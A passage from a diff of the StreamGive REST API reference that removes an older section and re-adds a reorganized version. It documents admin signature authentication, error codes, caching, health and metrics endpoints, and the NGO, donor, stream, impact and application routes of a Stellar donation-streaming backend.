Type | Default | Description | -| ------------ | ------------------------ | ------- | ------------------------------ | -| `donor` | Stellar public key | — | Filter by donor address. | -| `ngo` | UUID | — | Filter by NGO ID. | -| `ngoAddress` | Stellar public key | — | Filter by NGO owner address. | -| `token` | Stellar contract address | — | Filter by token contract. | -| `status` | `ACTIVE` or `CANCELLED` | — | Filter by stream status. | -| `limit` | integer, 1–100 | `100` | Maximum results. | -| `cursor` | UUID | — | Continue after this stream ID. | - -Returns streams newest first. On-chain integer values are serialized as -decimal strings. - -```json -{ - "streams": [ - { - "id": "", - "onChainId": "42", - "donorId": "", - "ngoId": "", - "tokenAddress": "", - "rate": "100", - "lastRate": null, - "balance": "1000", - "withdrawn": "200", - "status": "ACTIVE", - "createdTxHash": "", - "createdAt": "", - "updatedAt": "", - "donor": { "address": "" }, - "ngo": { - "id": "", - "name": "Example Aid", - "displayName": null, - "ownerAddress": "", - "registered": true - } - } - ], - "hasMore": false, - "nextCursor": null -} -``` - -Invalid filters return `400 {"error":"invalid_request"}`. - -### `GET /v1/streams/{id}` - -**Auth:** Public -**Path params:** `id` (required): stream UUID. - -Returns one stream in the same shape as an item from -`GET /v1/streams`. Returns `400 {"error":"invalid_request"}` for an invalid -ID and `404 {"error":"not_found"}` if no stream exists. Example response: the -single stream object shown in the `GET /v1/streams` example (without the -`streams`, `hasMore`, and `nextCursor` wrapper). - -### `GET /v1/streams/chain/{onChainId}` - -**Auth:** Public - -**Path params:** `onChainId` (required): non-negative decimal on-chain stream ID. - -Returns the same stream shape as `GET /v1/streams/{id}`. Returns -`400 {"error":"invalid_request"}` for an invalid ID and -`404 {"error":"not_found"}` if no stream exists. - -### `GET /v1/streams/{id}/activity` - -**Auth:** Public -**Path params:** `id` (required): stream UUID. -**Query params:** `limit` (integer, 1–100, default `100`) and `cursor` (event -UUID, optional). - -Returns the stream's indexed activity newest first. `streamId` is a decimal -string or `null`. Responses include an `ETag` and `Cache-Control` with a -30-second public max-age; send `If-None-Match` to receive `304 Not Modified` -when unchanged. - -```json -{ - "events": [ - { - "id": "", - "type": "created", - "streamId": "42", - "ledger": 123450, - "txHash": "", - "payload": { - "donor": "", - "ngo": "", - "token": "", - "deposit": "1000", - "rate": "100" - }, - "createdAt": "" - } - ], - "hasMore": false -} -``` - -Returns `400 {"error":"invalid_request"}` for invalid parameters and -`404 {"error":"not_found"}` if the stream does not exist. - -## Impact - -### `GET /v1/impact` - -**Auth:** Public -**Params:** None. - -Returns platform-wide totals, including `committedByToken` entries with each -token's committed amount. - -```json -{ - "totalCommitted": "12000", - "committedByToken": [{ "tokenAddress": "", "amount": "12000" }], - "totalWithdrawn": "2000", - "activeStreams": 4, - "verifiedNgoCount": 3 -} -``` - -### `GET /v1/impact/{ngoId}` - -**Auth:** Public -**Path params:** `ngoId` (required): NGO UUID. - -Returns impact totals for one NGO and its share of platform-wide committed -funds. `committedByToken` and `platformCommittedByToken` report the NGO and -platform committed amounts per token. Returns `400 {"error":"invalid_request"}` for a malformed UUID and -`404 {"error":"not_found"}` if no NGO exists. - -```json -{ - "ngoId": "", - "name": "Example Aid", - "totalCommitted": "5000", - "committedByToken": [{ "tokenAddress": "", "amount": "5000" }], - "platformCommittedByToken": [{ "tokenAddress": "", "amount": "12000" }], - "totalWithdrawn": "1200", - "activeStreams": 2, - "cancelledStreams": 1, - "uniqueDonors": 3, - "platformSharePercent": 41.67 -} -``` - -## NGO applications - -### `POST /v1/ngo-applications/challenge` - -**Auth:** Public - -**JSON body:** `ownerAddress` (required): applicant's Stellar public key. - -Issues a one-use challenge that expires after five minutes. Sign the returned -`message` with the owner's Stellar wallet using SEP-53 generic message signing. -The response contains `challenge`, `message`, and `expiresAt`. - -### `POST /v1/ngo-applications` - -**Auth:** Public -**JSON body:** - -| Name | Type | Required | Description | -| -------------- | ---------------------------- | -------- | ------------------------------------------------------ | -| `ownerAddress` | Stellar public key | Yes | Applicant's wallet address. | -| `name` | string, 1–200 characters | Yes | Organization name. | -| `description` | string, 1–5000 characters | Yes | Organization description. | -| `contactEmail` | email string | Yes | Contact email. | -| `website` | URL string | No | Website; a missing scheme is normalized to `https://`. | -| `country` | string, up to 100 characters | No | Country. | -| `challenge` | UUID | Yes | Unexpired challenge issued for this owner address. | -| `signature` | string | Yes | SEP-53 signature of the issued challenge `message`. | - -Create a challenge first, then include its `challenge` and a signature of its -exact `message` in the application body. A challenge can be used only once. -Creates a pending application and returns `201` with the application record. -Returns `400 {"error":"invalid_request"}` for an invalid body, -`400 {"error":"invalid_or_expired_challenge"}` for a missing, used, or expired -challenge, or `401 {"error":"invalid_signature"}` when the signature does not -match the challenge owner, -`409 {"error":"already_approved"}` if this address already has an approved -application, or `409 {"error":"application_already_pending"}` if one is -pending. - -```json -{ - "id": "", - "ownerAddress": "", - "name": "Example Aid", - "description": "Supporting local communities.", - "website": "https://example.org", - "contactEmail": "contact@example.org", - "country": "Example", - "status": "PENDING", - "reviewNote": null, - "createdAt": "", - "updatedAt": "" -} -``` - -### `GET /v1/ngo-applications/status` - -**Auth:** Public -**Query params:** `ownerAddress` (required): applicant's Stellar public key. - -Returns only the most recent application's status and timestamps; it does not -expose application contact details or description. Returns -`400 {"error":"invalid_request"}` for an invalid address and -`404 {"error":"not_found"}` if there is no application. - -```json -{ - "status": "PENDING", - "createdAt": "", - "updatedAt": "" -} -``` - -### `GET /v1/ngo-applications/stats` - -**Auth:** Admin signature -**Params:** None. - -Returns counts grouped by application status. - -```json -{ - "counts": { "PENDING": 2, "APPROVED": 4, "REJECTED": 1 }, - "total": 7 -} -``` - -### `GET /v1/ngo-applications` - -**Auth:** Admin signature -**Query params:** `status` (`PENDING`, `APPROVED`, or `REJECTED`, optional), -`limit` (integer, 1–100, default `100`), and `offset` (integer, 0–10000, -default `0`). An `offset` above 10000 returns `400 invalid_request`. - -Returns application records and the total count matching the optional status. -Records are ordered newest first, with `id` (descending) as a tie-breaker so -pages are stable when several applications share a creation time. - -```json -{ - "applications": [ - { - "id": "", - "ownerAddress": "", - "name": "Example Aid", - "description": "Supporting local communities.", - "website": "https://example.org", - "contactEmail": "contact@example.org", - "country": "Example", - "status": "PENDING", - "reviewNote": null, - "createdAt": "", - "updatedAt": "" - } - ], - "total": 1, - "limit": 100, - "offset": 0 -} -``` - -### `GET /v1/ngo-applications/{id}` - -**Auth:** Admin signature -**Path params:** `id` (required): application UUID. - -Returns one application record. Returns `400 {"error":"invalid_request"}` -for an invalid ID and `404 {"error":"not_found"}` if none exists. Example -response: the application object shown in the `POST /v1/ngo-applications` -example, with its current status, review note, and `emailVerifiedAt` (`null` -until the submitted contact address is verified). - -### `GET /v1/ngo-applications/verify-contact-email?token={token}` - -**Auth:** Public; requires the single-use token sent to the application contact -email. Tokens expire after 24 hours. Returns `200` when verified or -`400 {"error":"invalid_or_expired_token"}` when invalid, expired, or already -used. - -### `POST /v1/ngo-applications/{id}/contact-email-verification` - -**Auth:** Admin signature. Sends a fresh verification link for an application -that has not been verified. Returns `202` with a generic response whether the -application is eligible or not, to avoid disclosing application status. - -### `POST /v1/ngo-applications/{id}/approve` - -**Auth:** Admin signature -**Path params:** `id` (required): application UUID. -**JSON body:** `reviewNote` (optional string, up to 2000 characters); an empty -JSON object is also valid. - -Approves a pending application and returns the updated application record. -Returns `400 {"error":"invalid_request"}` for invalid input, -`404 {"error":"not_found"}` if no application exists, or -`409 {"error":"already_reviewed"}` if it is no longer pending. Example -response: the application object shown in the `POST /v1/ngo-applications` -example, with `status` set to `APPROVED` and `reviewNote` set if supplied. -Approval is available only after the contact email is verified; otherwise the -endpoint returns `409 {"error":"contact_email_unverified"}`. - -### `POST /v1/ngo-applications/{id}/reject` - -**Auth:** Admin signature -**Path params:** `id` (required): application UUID. -**JSON body:** `reviewNote` (optional string, up to 2000 characters); an empty -JSON object is also valid. - -Rejects a pending application and returns the updated application record. -Returns `400 {"error":"invalid_request"}` for invalid input, -`404 {"error":"not_found"}` if no application exists, or -`409 {"error":"already_reviewed"}` if it is no longer pending. Example -response: the application object shown in the `POST /v1/ngo-applications` -example, with `status` set to `REJECTED` and `reviewNote` set if supplied. -Review is available only after the contact email is verified; otherwise the -endpoint returns `409 {"error":"contact_email_unverified"}`. - -## Indexer - -### `GET /v1/indexer/status` - -**Auth:** Public -**Params:** None. - -Returns contract configuration and the latest indexer checkpoint. Ledger -values are `null` when no contracts are configured or no checkpoint is -available. - -```json -{ - "configured": true, - "checkpointLedger": 123450, - "updatedAt": "", - "latestLedger": 123455, - "ledgerLag": 5 -} -``` - -### `GET /v1/admin/dead-letters` - -**Auth:** Admin signature -**Query params:** - -- `limit` (optional integer, 1–100, default 100): maximum items to return. -- `cursor` (optional UUID): ID of the last item from the previous page for keyset pagination. -- `resolved` (optional string, `true` or `false`): filter by resolution status (`resolvedAt != null` vs `resolvedAt == null`). Omit to return both. - -Returns paginated records of failed contract events recorded in `indexer_dead_letters`. Returns `400 {"error":"invalid_request"}` for invalid query parameters, `200` with an empty page and the matching filtered `total` for a well-formed cursor UUID that is not present, and `401 {"error":"unauthorized"}` for missing or invalid admin signatures. Pagination uses the ordered `(createdAt, id)` tuple as its boundary, including when multiple records share a timestamp. - -```json -{ - "deadLetters": [ - { - "id": "11111111-1111-4111-8111-111111111111", - "eventId": "0000123450-0000000001", - "ledger": 123450, - "contractId": "CCPWQBI7FV2CZ7EECOVZ5XHOHK5S7CS6XTBDWPWHBEOKPTIASNGOBQFH", - "error": "TypeError: Cannot read properties of undefined", - "topic": ["AAAA..."], - "value": "AAAA...", - "txHash": "deadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef", - "attempts": 1, - "resolvedAt": null, - "createdAt": "2026-10-21T05:00:00.000Z", - "updatedAt": "2026-10-21T05:00:00.000Z" - } - ], - "total": 1, - "hasMore": false, - "nextCursor": null -} -``` - -## Interactive API documentation - -In non-production environments, Swagger UI is available at `/docs` and the -OpenAPI JSON document at `/docs/json`. +# StreamGive REST API + +This reference documents the HTTP endpoints currently registered by the +backend. Except for health checks and metrics, API routes are mounted under +`/v1`. Replace values in angle brackets in the examples with real IDs, +addresses, timestamps, and signatures. JSON response fields shown are +representative; timestamps are ISO 8601 strings. + +## Authentication + +Routes marked **Admin signature** require all three headers: + +- `x-admin-address`: an allowed Stellar public key configured by + `ADMIN_ADDRESS` or `ADMIN_ADDRESSES`. +- `x-admin-timestamp`: the current Unix timestamp in milliseconds. +- `x-admin-signature`: a base64 or hexadecimal Ed25519 signature over the + SEP-53 hash of `METHOD:URL:TIMESTAMP:BODY_HASH`, where the timestamp is the + exact header value. `URL` includes the `/v1` prefix and query string; for + example, `/v1/ngo-applications?limit=20`. `BODY_HASH` is the lowercase hex + SHA-256 of the raw request body, or the SHA-256 of the empty body for + bodyless requests. SEP-53 hashes the UTF-8 bytes of + `Stellar Signed Message:\n` followed by the complete payload before the + wallet signs it with its generic message-signing operation. + +The signed message must use the generic Stellar message-signing operation. +Signatures expire when the timestamp is more than five minutes from the +server's clock, and a signature cannot be replayed. Admin routes return +`401 unauthorized` for missing headers, an unlisted address, or an invalid +signature; `401 stale_signature` for a malformed or out-of-window timestamp; +`401 timestamp_unit_mismatch` for a seconds-based timestamp; and +`401 replayed_signature` when the same address, method, URL, and timestamp +are reused. They return `503 admin_auth_not_configured` when both admin +address settings are empty. See the HTTP error contract below for examples. + +Routes marked **Public** do not require authentication. Public directory, +stream, and impact endpoints may return `304 Not Modified` when the +`If-None-Match` header matches their ETag. See [Caching and conditional requests](#caching-and-conditional-requests). + +Unknown routes return `404` with the same body used by every other missing +resource: `{"error":"not_found"}`. + +## HTTP error contract + +Error responses are JSON objects with a stable `error` code. Validation +responses may also include a `details` object; clients should branch on the +`error` value rather than parse human-readable messages. The table lists the +codes returned by the API and an example response body for each. + +| HTTP status | Error code | Meaning | Example response body | +| --- | --- | --- | --- | +| 400 | `invalid_request` | A route parameter, query, or request body failed validation. Some validation errors include `details`. | `{"error":"invalid_request"}` | +| 400 | `invalid_or_expired_challenge` | An NGO application challenge is missing, expired, or already consumed. | `{"error":"invalid_or_expired_challenge"}` | +| 401 | `unauthorized` | Admin signature or configured metrics authentication is missing or invalid. | `{"error":"unauthorized"}` | +| 401 | `invalid_signature` | The signature for an NGO application challenge did not verify. | `{"error":"invalid_signature"}` | +| 401 | `stale_signature` | The admin timestamp is malformed or outside the permitted clock-skew window. | `{"error":"stale_signature"}` | +| 401 | `timestamp_unit_mismatch` | The admin timestamp appears to be in seconds; send Unix milliseconds. | `{"error":"timestamp_unit_mismatch"}` | +| 401 | `replayed_signature` | The same admin address and timestamp have already been used. | `{"error":"replayed_signature"}` | +| 404 | `not_found` | The requested route or resource does not exist. | `{"error":"not_found"}` | +| 409 | `already_reviewed` | The NGO application is no longer pending review. | `{"error":"already_reviewed"}` | +| 409 | `application_already_pending` | An application for this owner is already pending. | `{"error":"application_already_pending"}` | +| 409 | `already_approved` | This owner already has an approved application. | `{"error":"already_approved"}` | +| 503 | `admin_auth_not_configured` | Admin-protected routes are unavailable until an admin address is configured. | `{"error":"admin_auth_not_configured"}` | +| 500 | `internal_server_error` | An unexpected server error occurred; internal details are not returned. | `{"error":"internal_server_error"}` | + +## Caching and conditional requests + +Eleven public read endpoints send a validator and a short shared-cache +lifetime. Everything else is uncached. + +| Method and path | Cacheable | +|---|---| +| `GET /v1/ngos` | Yes | +| `GET /v1/ngos/lookup` | Yes | +| `GET /v1/ngos/{id}` | Yes | +| `GET /v1/ngos/{id}/donors` | Yes | +| `GET /v1/donors` | Yes | +| `GET /v1/donors/{address}` | Yes | +| `GET /v1/streams` | Yes | +| `GET /v1/streams/{id}` | Yes | +| `GET /v1/streams/{id}/activity` | Yes | +| `GET /v1/impact` | Yes | +| `GET /v1/impact/{ngoId}` | Yes | + +Not cacheable: `GET /v1/ngos/all`, `GET /v1/ngo-applications*`, the admin +routes, `GET /v1/donors/{address}/streams.csv`, `GET /v1/indexer/status`, +`GET /health`, `GET /health/ready`, and `GET /metrics`. + +### Headers + +A cacheable response carries: + +``` +Cache-Control: public, max-age=30, stale-while-revalidate=60 +ETag: "" +``` + +The ETag is computed over the exact JSON bytes sent, so it changes whenever +the body changes. Responses are not personalised, so a shared cache may store +them for 30 seconds and serve a stale copy for up to a further 60 seconds +while it revalidates. + +### Conditional requests + +Send the ETag back in `If-None-Match` to get a body-less `304 Not Modified` +while the resource is unchanged: + +``` +GET /v1/ngos/{id} HTTP/1.1 +If-None-Match: "3f2a…" + +HTTP/1.1 304 Not Modified +Cache-Control: public, max-age=30, stale-while-revalidate=60 +ETag: "3f2a…" +``` + +`If-None-Match` accepts a comma-separated list of ETags, weak validators +(`W/"…"`, compared as strong), and `*`. A request whose validator no longer +matches receives the full `200` response with the new ETag. + +## Integer and amount representation + +Stream `onChainId` values are stored as JavaScript `bigint` values in the +backend. Amounts originating from the contract, including `rate`, `lastRate`, +`balance`, and `withdrawn`, are stored as decimal strings to preserve the +contract's full integer precision. Aggregated amounts such as `totalCommitted` +and `totalWithdrawn` are returned as decimal strings too. + +JSON cannot serialize JavaScript `bigint` values directly. The API therefore +converts `onChainId` to a decimal string before sending stream responses; +on-chain event `streamId` values are also serialized as strings (or `null`). +Treat these fields as strings when consuming the API. Do not convert IDs or +amounts to JavaScript `number`, which can silently lose integer precision. +For exact integer arithmetic, parse decimal strings with `BigInt` in +JavaScript, and convert results back to strings for JSON. + +## Health and metrics + +These endpoints are mounted at the server root, not under `/v1`. + +### `GET /health` + +**Auth:** Public +**Params:** None. + +Checks database and Stellar RPC connectivity. Returns `200` when both checks +succeed and `503` otherwise. + +```json +{ "status": "ok", "db": "ok", "rpc": "ok" } +``` + +### `GET /health/ready` + +**Auth:** Public +**Params:** None. + +Checks database connectivity and indexer progress. Returns `200` when ready, +or `503` if the indexer has not started, is too far behind, or a dependency is +unavailable. + +```json +{ + "status": "ok", + "lag": 5, + "latestLedger": 123455, + "checkpointLedger": 123450 +} +``` + +### `GET /metrics` + +**Auth:** Public, or bearer token when `METRICS_TOKEN` is set + +**Params:** None. + +If the server has `METRICS_TOKEN` set, this endpoint requires +`Authorization: Bearer `. A missing or wrong token returns +`401 { "error": "unauthorized" }`. When `METRICS_TOKEN` is unset, the +endpoint is public. + +Returns Prometheus exposition text (`text/plain; version=0.0.4`), including +HTTP request and duration metrics, indexer checkpoint and lag, and webhook +delivery metrics. Example response: + +```text +# HELP streamgive_http_requests_total Total HTTP requests handled. +# TYPE streamgive_http_requests_total counter +streamgive_http_requests_total{method="GET",route="/health",status_code="200"} 1 +# HELP streamgive_http_request_duration_seconds HTTP request duration in seconds. +# TYPE streamgive_http_request_duration_seconds summary +streamgive_http_request_duration_seconds_sum{method="GET",route="/health",status_code="200"} 0.001 +streamgive_http_request_duration_seconds_count{method="GET",route="/health",status_code="200"} 1 +# HELP streamgive_indexer_checkpoint_ledger Last ledger checkpointed by the indexer. +# TYPE streamgive_indexer_checkpoint_ledger gauge +streamgive_indexer_checkpoint_ledger 123450 +# HELP streamgive_indexer_latest_ledger Latest ledger observed from Stellar RPC. +# TYPE streamgive_indexer_latest_ledger gauge +streamgive_indexer_latest_ledger 123455 +# HELP streamgive_indexer_lag_ledgers Difference between the latest and checkpoint ledgers. +# TYPE streamgive_indexer_lag_ledgers gauge +streamgive_indexer_lag_ledgers 5 +# HELP streamgive_notification_deliveries_total Webhook notification delivery attempts. +# TYPE streamgive_notification_deliveries_total counter +streamgive_notification_deliveries_total{outcome="success"} 1 +streamgive_notification_deliveries_total{outcome="failure"} 0 +``` + +## NGOs + +### `GET /v1/ngos` + +**Auth:** Public +**Query params:** + +| Name | Type | Default | Description | +| -------- | ---------------------------- | -------- | ----------------------------------------------------- | +| `limit` | integer, 1–100 | `100` | Maximum results. | +| `cursor` | UUID | — | Continue after this NGO ID. | +| `sort` | `newest`, `oldest`, `name` | `newest` | Result ordering. | +| `q` | string, up to 100 characters | — | Case-insensitive substring search on the public name. | + +Lists verified NGOs. `nextCursor` is the last returned NGO ID when another +page is available, otherwise `null`. + +```json +{ + "ngos": [ + { + "id": "", + "ownerAddress": "", + "name": "Example Aid", + "displayName": null, + "verified": true, + "createdAt": "", + "updatedAt": "" + } + ], + "nextCursor": null +} +``` + +### `GET /v1/ngos/all` + +**Auth:** Admin signature +**Query params:** + +| Name | Type | Default | Description | +| ---------- | ----------------- | ------- | ------------------------------ | +| `limit` | integer, 1–100 | `100` | Maximum results. | +| `cursor` | UUID | — | Continue after this NGO ID. | +| `verified` | `true` or `false` | — | Filter by verification status. | + +Lists verified and unverified NGOs. + +```json +{ + "ngos": [ + { + "id": "", + "ownerAddress": "", + "name": "Example Aid", + "displayName": null, + "verified": false, + "createdAt": "", + "updatedAt": "" + } + ], + "nextCursor": null +} +``` + +### `GET /v1/ngos/lookup` + +**Auth:** Public +**Query params:** `address` (required): Stellar public key (`G` followed by +55 base32 characters). + +Looks up an NGO profile by its owner address. This endpoint is public and +returns a profile whether or not the NGO is verified. This intentionally +differs from `GET /v1/ngos`, which lists verified NGOs only. For an unverified +or placeholder NGO, `verified` is `false`; `name` and approved-application +fields (`description`, `website`, and `country`) can be `null`. The lookup +does not expose pending application details. Returns `400 +{"error":"invalid_request"}` for an invalid address and `404 +{"error":"not_found"}` if there is no matching NGO. The response has the same +shape as `GET /v1/ngos/{id}`; see that endpoint's example response. + +### `GET /v1/ngos/{id}` + +**Auth:** Public +**Path params:** `id` (required): NGO UUID. + +Returns an NGO profile, impact totals, and up to ten recent streams for +verified, unverified, and placeholder NGOs. This public ID lookup is not a +verification check: callers must inspect `verified` before treating an NGO as +approved. Placeholder records can have `registered: false` and `name: null`; +unverified records can have `verified: false` and `null` approved-application +fields (`description`, `website`, and `country`). Pending application details +remain private. Returns +`400 {"error":"invalid_request"}` for an invalid ID or +`404 {"error":"not_found"}` if no NGO exists. + +```json +{ + "id": "", + "ownerAddress": "", + "name": "Example Aid", + "displayName": null, + "verified": true, + "createdAt": "", + "updatedAt": "", + "registered": true, + "description": "Supporting local communities.", + "website": "https://example.org", + "country": "Example", + "stats": { + "totalCommitted": "12000", + "committedByToken": [{ "tokenAddress": "", "amount": "12000" }], + "totalWithdrawn": "2000", + "activeStreamCount": 2, + "donorCount": 3 + }, + "recentStreams": [ + { + "id": "", + "donor": { "address": "" }, + "tokenAddress": "", + "rate": "100", + "balance": "1000", + "withdrawn": "200", + "status": "ACTIVE", + "createdAt": "", + "onChainId": "42" + } + ], + "recentStreamsNextCursor": null +} +``` + +`description`, `website`, and `country` are `null` when no approved +application supplies them. The public `name` uses the display name when one +is set; `registered` indicates whether an on-chain registry name exists. + +### `GET /v1/ngos/{id}/donors` + +**Auth:** Public +**Path params:** `id` (required): NGO UUID. +**Query params:** `limit` (integer, 1–100, default `100`) and `cursor` (donor +UUID, optional). + +Lists donors with streams for this NGO. `committedByToken` reports each +token's committed amount separately; `totalCommitted` remains as a legacy +decimal-string field. Returns `400 {"error":"invalid_request"}` for invalid +parameters and `404 {"error":"not_found"}` if the NGO does not exist. +Responses include an `ETag` and `Cache-Control` with a 30-second public +max-age; send `If-None-Match` to receive `304 Not Modified` when unchanged. + +```json +{ + "donors": [ + { + "id": "", + "address": "", + "totalCommitted": "1200", + "committedByToken": [{ "tokenAddress": "", "amount": "1200" }] + } + ], + "nextCursor": null +} +``` + +### `PATCH /v1/admin/ngos/{id}` + +**Auth:** Admin signature +**Path params:** `id` (required): NGO UUID. +**JSON body:** `displayName` (optional; string or `null`). + +Updates the public display name. Returns the updated NGO record with `name` +set to the display name when present, otherwise its registered name. Returns +`400 {"error":"invalid_request"}` for invalid input and +`404 {"error":"not_found"}` if the NGO does not exist. + +```json +{ + "id": "", + "ownerAddress": "", + "name": "Example Aid", + "displayName": "Example Aid", + "verified": true, + "createdAt": "", + "updatedAt": "" +} +``` + +## Donors + +### `GET /v1/donors` + +**Auth:** Public +**Query params:** + +| Name | Type | Default | Description | +| -------- | -------------------------- | ----------- | ----------------------------- | +| `sort` | `committed` or `withdrawn` | `committed` | Amount used to rank donors. | +| `order` | `asc` or `desc` | `desc` | Sort direction. | +| `limit` | integer, 1–100 | `100` | Maximum results. | +| `cursor` | UUID | — | Continue after this donor ID. | + +Returns donor totals across all streams. +Each donor includes `committedByToken`, an array of `{ tokenAddress, amount }` +entries, so committed amounts in different assets are reported independently. +The legacy `totalCommitted` field remains available. +Responses include an `ETag` and `Cache-Control` with a 30-second public +max-age; send `If-None-Match` to receive `304 Not Modified` when unchanged. + +```json +{ + "donors": [ + { + "id": "", + "address": "", + "createdAt": "", + "totalCommitted": "1200", + "committedByToken": [{ "tokenAddress": "", "amount": "1200" }], + "totalWithdrawn": "200" + } + ], + "nextCursor": null +} +``` + +Invalid query parameters or an unknown cursor return +`400 {"error":"invalid_request"}`. + +### `GET /v1/donors/{address}` + +**Auth:** Public +**Path params:** `address` (required): Stellar public key (`G` followed by +55 base32 characters). + +Returns one donor's totals, number of active streams, and distinct NGO count. +`committedByToken` reports committed amounts separately for each token; the +legacy `totalCommitted` field remains available. +Responses include an `ETag` and `Cache-Control` with a 30-second public +max-age; send `If-None-Match` to receive `304 Not Modified` when unchanged. +Returns `400 {"error":"invalid_request"}` for an invalid address and +`404 {"error":"not_found"}` if no donor exists. + +```json +{ + "id": "", + "address": "", + "createdAt": "", + "totalCommitted": "1200", + "committedByToken": [{ "tokenAddress": "", "amount": "1200" }], + "totalWithdrawn": "200", + "activeStreamCount": 2, + "distinctNgoCount": 1 +} +``` + +## Streams + +### `GET /v1/streams` + +**Auth:** Public +**Query params:** + +| Name | Type | Default | Description | +| ------------ | ------------------------ | ------- | ------------------------------ | +| `donor` | Stellar public key | — | Filter by donor address. | +| `ngo` | UUID | — | Filter by NGO ID. | +| `ngoAddress` | Stellar public key | — | Filter by NGO owner address. | +| `token` | Stellar contract address | — | Filter by token contract. | +| `status` | `ACTIVE` or `CANCELLED` | — | Filter by stream status. | +| `limit` | integer, 1–100 | `100` | Maximum results. | +| `cursor` | UUID | — | Continue after this stream ID. | + +Returns streams newest first. On-chain integer values are serialized as +decimal strings. + +```json +{ + "streams": [ + { + "id": "", + "onChainId": "42", + "donorId": "", + "ngoId": "", + "tokenAddress": "", + "rate": "100", + "lastRate": null, + "balance": "1000", + "withdrawn": "200", + "status": "ACTIVE", + "createdTxHash": "", + "createdAt": "", + "updatedAt": "", + "donor": { "address": "" }, + "ngo": { + "id": "", + "name": "Example Aid", + "displayName": null, + "ownerAddress": "", + "registered": true + } + } + ], + "hasMore": false, + "nextCursor": null +} +``` + +Invalid filters return `400 {"error":"invalid_request"}`. + +### `GET /v1/streams/{id}` + +**Auth:** Public +**Path params:** `id` (required): stream UUID. + +Returns one stream in the same shape as an item from +`GET /v1/streams`. Returns `400 {"error":"invalid_request"}` for an invalid +ID and `404 {"error":"not_found"}` if no stream exists. Example response: the +single stream object shown in the `GET /v1/streams` example (without the +`streams`, `hasMore`, and `nextCursor` wrapper). + +### `GET /v1/streams/chain/{onChainId}` + +**Auth:** Public + +**Path params:** `onChainId` (required): non-negative decimal on-chain stream ID. + +Returns the same stream shape as `GET /v1/streams/{id}`. Returns +`400 {"error":"invalid_request"}` for an invalid ID and +`404 {"error":"not_found"}` if no stream exists. + +### `GET /v1/streams/{id}/activity` + +**Auth:** Public +**Path params:** `id` (required): stream UUID. +**Query params:** `limit` (integer, 1–100, default `100`) and `cursor` (event +UUID, optional). + +Returns the stream's indexed activity newest first. `streamId` is a decimal +string or `null`. Responses include an `ETag` and `Cache-Control` with a +30-second public max-age; send `If-None-Match` to receive `304 Not Modified` +when unchanged. + +```json +{ + "events": [ + { + "id": "", + "type": "created", + "streamId": "42", + "ledger": 123450, + "txHash": "", + "payload": { + "donor": "", + "ngo": "", + "token": "", + "deposit": "1000", + "rate": "100" + }, + "createdAt": "" + } + ], + "hasMore": false +} +``` + +Returns `400 {"error":"invalid_request"}` for invalid parameters and +`404 {"error":"not_found"}` if the stream does not exist. + +## Impact + +### `GET /v1/impact` + +**Auth:** Public +**Params:** None. + +Returns platform-wide totals, including `committedByToken` entries with each +token's committed amount. + +```json +{ + "totalCommitted": "12000", + "committedByToken": [{ "tokenAddress": "", "amount": "12000" }], + "totalWithdrawn": "2000", + "activeStreams": 4, + "verifiedNgoCount": 3 +} +``` + +### `GET /v1/impact/{ngoId}` + +**Auth:** Public +**Path params:** `ngoId` (required): NGO UUID. + +Returns impact totals for one NGO and its share of platform-wide committed +funds. `committedByToken` and `platformCommittedByToken` report the NGO and +platform committed amounts per token. Returns `400 {"error":"invalid_request"}` for a malformed UUID and +`404 {"error":"not_found"}` if no NGO exists. + +```json +{ + "ngoId": "", + "name": "Example Aid", + "totalCommitted": "5000", + "committedByToken": [{ "tokenAddress": "", "amount": "5000" }], + "platformCommittedByToken": [{ "tokenAddress": "", "amount": "12000" }], + "totalWithdrawn": "1200", + "activeStreams": 2, + "cancelledStreams": 1, + "uniqueDonors": 3, + "platformSharePercent": 41.67 +} +``` + +## NGO applications + +### `POST /v1/ngo-applications/challenge` + +**Auth:** Public + +**JSON body:** `ownerAddress` (required): applicant's Stellar public key. + +Issues a one-use challenge that expires after five minutes. Sign the returned +`message` with the owner's Stellar wallet using SEP-53 generic message signing. +The response contains `challenge`, `message`, and `expiresAt`. + +### `POST /v1/ngo-applications` + +**Auth:** Public +**JSON body:** + +| Name | Type | Required | Description | +| -------------- | ---------------------------- | -------- | ------------------------------------------------------ | +| `ownerAddress` | Stellar public key | Yes | Applicant's wallet address. | +| `name` | string, 1–200 characters | Yes | Organization name. | +| `description` | string, 1–5000 characters | Yes | Organization description. | +| `contactEmail` | email string | Yes | Contact email. | +| `website` | URL string | No | Website; a missing scheme is normalized to `https://`. | +| `country` | string, up to 100 characters | No | Country. | +| `challenge` | UUID | Yes | Unexpired challenge issued for this owner address. | +| `signature` | string | Yes | SEP-53 signature of the issued challenge `message`. | + +Create a challenge first, then include its `challenge` and a signature of its +exact `message` in the application body. A challenge can be used only once. +Creates a pending application and returns `201` with the application record. +Returns `400 {"error":"invalid_request"}` for an invalid body, +`400 {"error":"invalid_or_expired_challenge"}` for a missing, used, or expired +challenge, or `401 {"error":"invalid_signature"}` when the signature does not +match the challenge owner, +`409 {"error":"already_approved"}` if this address already has an approved +application, or `409 {"error":"application_already_pending"}` if one is +pending. + +```json +{ + "id": "", + "ownerAddress": "", + "name": "Example Aid", + "description": "Supporting local communities.", + "website": "https://example.org", + "contactEmail": "contact@example.org", + "country": "Example", + "status": "PENDING", + "reviewNote": null, + "createdAt": "", + "updatedAt": "" +} +``` + +### `GET /v1/ngo-applications/status` + +**Auth:** Public +**Query params:** `ownerAddress` (required): applicant's Stellar public key. + +Returns only the most recent application's status and timestamps; it does not +expose application contact details or description. Returns +`400 {"error":"invalid_request"}` for an invalid address and +`404 {"error":"not_found"}` if there is no application. + +```json +{ + "status": "PENDING", + "createdAt": "", + "updatedAt": "" +} +``` + +### `GET /v1/ngo-applications/stats` + +**Auth:** Admin signature +**Params:** None. + +Returns counts grouped by application status. + +```json +{ + "counts": { "PENDING": 2, "APPROVED": 4, "REJECTED": 1 }, + "total": 7 +} +``` + +### `GET /v1/ngo-applications` + +**Auth:** Admin signature +**Query params:** `status` (`PENDING`, `APPROVED`, or `REJECTED`, optional), +`limit` (integer, 1–100, default `100`), and `offset` (integer, 0–10000, +default `0`). An `offset` above 10000 returns `400 invalid_request`. + +Returns application records and the total count matching the optional status. +Records are ordered newest first, with `id` (descending) as a tie-breaker so +pages are stable when several applications share a creation time. + +```json +{ + "applications": [ + { + "id": "", + "ownerAddress": "", + "name": "Example Aid", + "description": "Supporting local communities.", + "website": "https://example.org", + "contactEmail": "contact@example.org", + "country": "Example", + "status": "PENDING", + 